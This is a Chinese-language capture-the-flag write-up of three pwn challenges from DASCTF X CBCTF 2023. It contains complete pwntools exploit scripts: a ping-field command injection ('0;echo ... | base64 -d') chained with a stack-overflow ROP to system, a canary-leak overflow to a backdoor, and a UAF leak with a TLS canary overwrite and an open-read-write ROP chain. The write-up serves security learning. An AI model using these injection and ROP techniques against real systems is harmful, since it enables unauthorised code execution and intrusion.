DASCTF X CBCTF 2023|无畏者先行

前言

笔者没有参加此次比赛,由于团队后面会复现此次比赛,所以笔者在此进行复现记录。

EASYBOX

考点:命令执行?+ 栈溢出

附件给了 docker 环境,可以直接在本地复现,但是 docker 我不会调试,幸好这题也不用调试。

程序没开 PIE,有 system,sh 字符串。然后在一开始的时候把 canary 写进了/secret/canary.txt 文件中。

漏洞分析

漏洞1:

在 pingCommand 函数中对输入的字符检查不够严格,导致存在命令注入:例如我们可以通过 0;echo "data" 向 /tmp/result.txt 文件中写入内容。

这个环境好像没有 tac/less/more 等命令,然后 cat 被过滤了,所以这里似乎没办法直接读文件内容。还需要注意的是 sprintf 会被 \x00 截断,但是这个无关紧要的,可以 base 一下去除 \x00。

漏洞2:

这里首先存在目录穿越,也是对输入的文件名检查不严格导致。然后后面那个溢出漏洞很明显,其实大家写过程序都知道,对于文件的读取,一般都是根据文件大小去 malloc 一个对应的空间。而这里如果文件大小大于 72 则导致栈溢出。

漏洞利用

1、先利用 CAT 功能配合目录穿越读取 canary

2、再利用 PING 功能往 result.txt 文件中写入 rop 链

3、最后利用 CAT 功能读取 result.txt 造成栈溢出

exp 如下:

python 复制代码
from pwn import *
import base64
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

#io = process("./pwn")
io = remote("127.0.0.1", 9999)
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

pop_rdi = 0x0000000000401ce3 # pop rdi ; ret
sh_addr = 0x0000000000402090
system = 0x00000000004018B2


sla(b'name: ', b'XiaozaYa')
sla(b'$ ', b'CAT')
sla(b'view: ', b'../../secret/canary.txt')
canary = int(rl(), 16)
info("canary", canary)

rop = b'A'*72 + p64(canary) + p64(0xdeadbeef) + p64(pop_rdi) + p64(sh_addr) + p64(system)
rop = base64.b64encode(rop)
pay = b'0;echo "' + rop + b'" | base64 -d'
print(hex(len(pay)), ":", pay)

sla(b'$ ', b'PING')
sla(b'address: ', pay)
sla(b'$ ', b'CAT')
sla(b'view: ', b'result.txt')

#debug()
sh()

效果如下:

GuestBook

考点:栈溢出

没开 PIE,有后门,有栈溢出,其实没啥好说的了

read 那里溢出到了 canary,所以可以直接修改 canary 最后一个字节然后泄漏出 canary。后面一个白给的栈溢出,strcpy 存在 \x00 截断,所以 canary 分两次写即可。然后就直接跳到后门即可。

exp如下:

python 复制代码
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''

sda(b'name: ', b'A'*23 + b'X' + b'Y')
rut(b'X')
canary = addr8(8) - ord('Y')
rbp = addr8(6)
info("canary", canary)
info("rbp", rbp)

sla(b'): ', b'2')

pay = b'A'*(0xA0 - 8) + p64(canary + ord('A')) + b'AAAAAAAA' + b'\xc3\x12\x40'
sl(pay)

sleep(0.01)
pay = b'A'*(0xA0 - 8 - 0x20)
sl(pay)
#debug()
sh()

效果如下:

Binding

考点:栈溢出,这题套一个堆的壳子,其实就是一个栈迁移打 orw 的题目

题目实现了一个菜单堆,这里就只说下漏洞点:

漏洞1:

漏洞主要在 edit 函数中,首先就是一个贴脸的栈溢出,但是只溢出 0x10 字节,所以想利用的话基本就是栈迁移。

然后还有一个致命的漏洞,感觉非常莫名其妙,add 会申请两个堆块,其结构是这样的:

也就是说 edit 每次先修改的 0x100 上面的指针,然后在根据指针去写,那这不就是白给的 8 字节任意地址写吗?但是注意这里有个 *ptr = (unsigned __int8*)*ptr,这导致后面其实只能写一字节。

漏洞2:

没有将指针置空,可以利用 UAF 去泄漏 libc_base/heap_base。由于这里使用的是 calloc 所以 double free 不好直接打,因为题目限制了堆块的大小在 [0x100, 0x200] 之间,所以不会落在 fastbin 中。

利用思路:

1、 UAF 泄漏 libc_base/heap_base

2、任意写修改 tcbhead_t 结构体中的 stack_guard 从而绕过 canary 保护

3、栈迁移到堆上打 orw

exp 如下:

python 复制代码
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'

io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc

def debug():
        gdb.attach(io)
        pause()

sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'Your choice:'
def add(idx, size, data, flag=True):
        sla(menu, b'1')
        sla(b'Idx:', byte(idx))
        sla(b'Size:', byte(size))
        if flag:
                sda(b'Content:', data)
        else:
                sla(b'Content:', data)

def edit(idx, data0, data1, flag=True):
        sla(menu, b'2')
        if flag:
                sda(b'Idx:', byte(idx))
        else:
                sda(b'Idx:', idx)
        sda(b'context1: ', data0)
        sda(b'context2: ', data1)

def show(idx, cmd=0):
        sla(menu, b'3')
        sla(b'Your choice:', byte(cmd))
        sla(b'Idx:', byte(idx))

def dele(idx):
        sla(menu, b'4')
        sla(b'Idx:', byte(idx))

for i in range(6):
        add(i, 256, b'A\n')

for i in range(1, 5):
        dele(i)


show(2, 0)
rut(b': ')
heap_base = addr8(6) - 0x5d0
info("heap_base", heap_base)
show(4, 1)
rut(b': ')
libc_base = addr8(6) - 0x1ecbe0
libc.address = libc_base
TLS_canary = libc_base + 0x1f3568
info("libc_base", libc_base)
info("TLS_canary", TLS_canary)

pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret

orw  = p64(pop_rdi) + p64(heap_base+0xcd8) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(libc.sym.open)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.read)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base+0x300) + p64(pop_rdx) + p64(0x40) + p64(libc.sym.write)
orw += b'./flag\x00\x00'
info("orw len", len(orw))
add(7, 256, orw)

pay = b'0'.ljust(0x28, b'\x00') + b'A\x00\x00\x00\x00\x00\x00\x00' + p64(heap_base+0xc28) + p64(leave_ret)
edit(pay, p64(TLS_canary), b'AAAAAAAA', False)
#debug()
sh()

效果如下:

相关推荐
CH13hh12 天前
常回家看看之Tcache Stashing Unlink Attack
pwn·ctf
想拿 0day 的脚步小子19 天前
从ctfwiki开始的pwn之旅 5.ret2csu
pwn
centos082 个月前
PWN(栈溢出漏洞)-原创小白超详细[Jarvis-level0]
网络安全·二进制·pwn·ctf
Mr_Fmnwon2 个月前
【我的 PWN 学习手札】House of Roman
pwn·ctf·heap
A5rZ2 个月前
ctf-pwn: 数组越界
pwn·ctf
雪痕春风天音九重色2 个月前
Re:从零开始的pwn学习(栈溢出篇)
pwn·ctf·栈溢出
Brinmon2 个月前
BUU刷题-Pwn-codegate2018_melong(ARM的ret2libc)
arm开发·arm·pwn·ctf
Brinmon2 个月前
HWS赛题 入门 MIPS Pwn-Mplogin(MIPS_shellcode)
网络安全·pwn·ctf
波克比QWQ3 个月前
malloc源码分析之 ----- 你想要啥chunk
笔记·pwn·堆入门
Mr_Fmnwon3 个月前
【我的 PWN 学习手札】tcache stash unlink
pwn·ctf·heap·tcache